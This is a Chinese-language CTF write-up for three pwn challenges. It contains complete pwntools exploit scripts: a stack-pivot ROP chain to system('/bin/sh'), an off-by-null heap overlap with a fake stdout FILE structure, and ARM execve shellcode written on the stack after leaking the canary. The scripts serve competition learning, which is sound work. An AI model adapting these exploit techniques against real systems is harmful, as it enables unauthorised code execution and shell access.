canary

image-20250908174647995

写了个libc地址在bss上面,同时有00截断,puts打印不出来

image-20250908174721501

这里相当于直接把canary置空了,只要是0就行,所以溢出的时候注意一点

image-20250908174749080

栈溢出,直接迁移到上面的puts,能刚好带出来一个libc地址,然后迁移写rop就行,应该是非预期了

from pwn import *

io = process("./pwn")
context(log_level="debug", arch="amd64", os="linux")
# io=remote("pwn-873de12fc3.challenge.xctf.org.cn", 9999, ssl=True)

libc = ELF("./libc.so.6")
elf = ELF("./pwn")
io.recvuntil(b"Choose (good/vuln/exit): ")
libc_addr = 0x404000 + 0x800

io.send(b"good")
io.recv()
io.send(p64(0x401440))
io.recv()
# gdb.attach(io,'b *0x401451\nc')
io.send(b"vuln")
io.recv()
payload = b"exec"
payload = payload.ljust(0x30, b"\x00")
payload += p64(libc_addr)
payload += p64(0x40143B)  # read
# gdb.attach(io)
io.send(payload)
io.recvuntil(b"Processed: exec\n")
libc.address = u64(io.recv(6).ljust(8, b"\x00")) - 0x62050
info("libc base: " + hex(libc.address))
payload = b"exec"
payload = payload.ljust(0x8, b"\x00")
payload += p64(next(libc.search(asm("pop rdi; ret;"), executable=True)))
payload += p64(next(libc.search(b"/bin/sh")))
payload += p64(next(libc.search(asm("ret;"), executable=True)))
payload += p64(libc.sym["system"])
payload = payload.ljust(0x30, b"\x00")
payload += p64(0x4047D0)
payload += p64(next(libc.search(asm("leave; ret;"), executable=True)))
io.send(payload)
io.interactive()

image-20250912164251767

boom

off by null,只能edit一次,构造叠堆之后多次申请,构造两个0x100的堆块,edit申请到stdout,写打apple2,用puts触发io流就行

image-20250908175647337

from pwn import *

context(log_level="debug", arch="amd64", os="linux")
io = process("./pwn")
io = remote("pwn-03b5ca515d.challenge.xctf.org.cn", 9999, ssl=True)
elf = ELF("./pwn")
libc = ELF("./libc.so.6")

def dbg():
    gdb.attach(io)

io.recv()
io.sendline(str(0))
io.recv()
io.sendline(str(1))
io.recv()
io.sendline(str(1))

def add(idx, size, date=b"a"):
    io.recvuntil(b"Your choice >>")
    io.sendline(str(1))
    io.recvuntil(b"Index >> \n")
    io.sendline(str(idx))
    io.recvuntil(b"Size >> \n")
    io.sendline(str(size))
    io.send(date)

def free(idx):
    io.recvuntil(b"Your choice >>")
    io.sendline(str(2))
    io.recv()
    io.sendline(str(idx))

def show(idx):
    io.recvuntil(b"Your choice >>")
    io.sendline(str(3))
    io.recv()
    io.sendline(str(idx))

def edit(idx, date):
    io.recvuntil(b"Your choice >>")
    io.sendline(str(666))
    io.recv()
    io.sendline(str(idx))
    io.send(date)

def dbg():
    gdb.attach(io)

add(0, 0x410)
add(1, 0x100)
add(2, 0x430)
add(3, 0x430)
add(4, 0x100)
add(5, 0x480)
add(6, 0x420)
add(7, 0x100)

free(0)
free(3)
free(6)
free(2)
payload = b"\x00" * 0x430 + p64(0) + p32(0x551)
add(0, 0x450, payload)
add(2, 0x410)
add(3, 0x410)
add(6, 0x420)

free(3)
free(2)

add(2, 0x410, p64(0))

free(6)
free(5)

add(3, 0x4F8, b"a" * 0x480 + p64(0) + p64(0x431))

add(5, 0x3B8)

add(6, 0x418)
free(4)

add(4, 0x108, b"\x00" * 0x100 + p64(0x550))
free(3)
add(8, 0x18)
show(6)
io.recvuntil(b"Show at index 6:\n")
libc.address = u64(io.recv(6).ljust(8, b"\x00")) - 0x21ACE0
info("libc base: " + hex(libc.address))
add(9, 0x18)
free(6)
show(9)
io.recvuntil(b"Show at index 9:")
heap_base = u64(io.recv(6).ljust(8, b"\x00")) - 0xA
heap_base = heap_base * 0x10
info("heap base: " + hex(heap_base))
add(3, 0x400 - 0x10)
add(6, 0x100)
free(1)
free(4)
heap = (heap_base + 0x1050) >> 12
stdout = libc.address + 0x21B780
fd = stdout ^ heap
edit(6, p64(fd))
fake_file = flat(
    {
        0x0: b"  sh;",
        0x8: libc.symbols["_IO_2_1_stdout_"] - 0x10,
        0x28: libc.symbols["system"],
        0x88: libc.symbols["_environ"] - 0x10,
        0xA0: libc.symbols["_IO_2_1_stdout_"] - 0x40,
        0xD8: libc.symbols["_IO_wfile_jumps"] - 0x20,
    },
    filler=b"\x00",
)
add(1, 0x100)
add(4, 0x100, fake_file)

# gdb.attach(io, "b _obstack_newchunk\nc")
io.interactive()

image-20250908175608265

signal

arm,保护全开,但是qemu有个特点,不开nx的话bss和栈都可执行,但是开了nx之后,栈依然可执行,所以我们可以利用第一个函数泄露canary和栈地址,在第二个函数栈上写shellcode,然后直接ret2syscall就行,但是泄露的时候有个随机数,我这里就没管他了,多运行几次就能getshell

from pwn import *

context(arch="arm", os="linux", log_level="debug")
elf = ELF("./pwn")
libc = ELF("./lib/libc.so.6")
context.endian = "little"

# nc -lv 127.0.0.1 8000
srv = listen(8000, bindaddr="127.0.0.1")
io = process(["qemu-arm", "-L", "./", "./pwn"])
#io = process(["qemu-arm", "-L", "./", "-g", "1234", "./pwn"])
conn = srv.wait_for_connection()

def controller(flag1=3, flag5=5):
    current = f"{flag1} {flag5}\n".encode()
    while True:
        try:
            conn.recvuntil(b"signal\n", timeout=3)
            conn.send(current)
        except EOFError:
            break
        except TimeoutError:
            pass

threading.Thread(target=controller, args=(3, 5), daemon=True).start()

io.recvuntil(b"target: ")
io.sendline(str(1))
sleep(1)
io.recvuntil(
    b"You are about to run a red light, the surveillance system will take photos to record it!"
)
io.send(b"a" * 0x2F)
io.recvuntil(b"a" * 0x2F)
stack = u32(io.recv(4)) - 0x64
print("stack:" + hex(stack))

io.recvuntil(b"target: ")
io.sendline(str(1))
sleep(1)
io.recvuntil(
    b"You are about to run a red light, the surveillance system will take photos to record it!"
)
io.send(b"a" * 0x34)
io.recvuntil(b"a" * 0x33)
canary = u32(io.recv(4)) - 0x61
print("canary:" + hex(canary))
io.recvuntil(b"target: ")
io.sendline(str(2))
sleep(1)
threading.Thread(target=controller, args=(1, 4), daemon=True).start()
io.recvuntil(b"How long do you need to walk: ")
io.sendline(str(0xFFFF))
io.recvuntil(b"registration information:")
shellcode = asm(
    """
    eor r1, r1
    eor r2, r2
    mov r7, #11
    mov r0, pc
    svc 0
    .ascii "/bin/sh\\0"
"""
)
payload = shellcode
payload = payload.ljust(0x30, b"c")
payload += p32(canary) * 4
payload += p32(stack) * 2
io.send(payload)
io.interactive()

image-20250912164157984